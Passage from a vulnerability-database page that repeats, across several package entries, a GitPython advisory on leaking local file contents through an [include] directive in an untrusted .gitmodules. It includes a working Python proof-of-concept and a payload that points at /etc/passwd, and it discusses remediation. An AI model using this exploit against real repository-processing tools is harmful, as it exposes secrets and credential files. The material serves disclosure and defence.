\"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-standardebooks-CVE-2026-78675",
"modified": "2026-09-17T17:38:08Z",
"published": "2026-09-04T10:10:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-TACH-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:11 – Updated: 2026-09-17 18:35 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "tach",
"purl": "pkg:brew/tach"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.7"
},
{
"fixed": "0.35.0_5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-tach-CVE-2026-78675",
"modified": "2026-09-17T18:35:56Z",
"published": "2026-09-04T10:11:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-TARTUFO-CVE-2026-78675 (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:12 – Updated: 2026-09-17 19:42 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
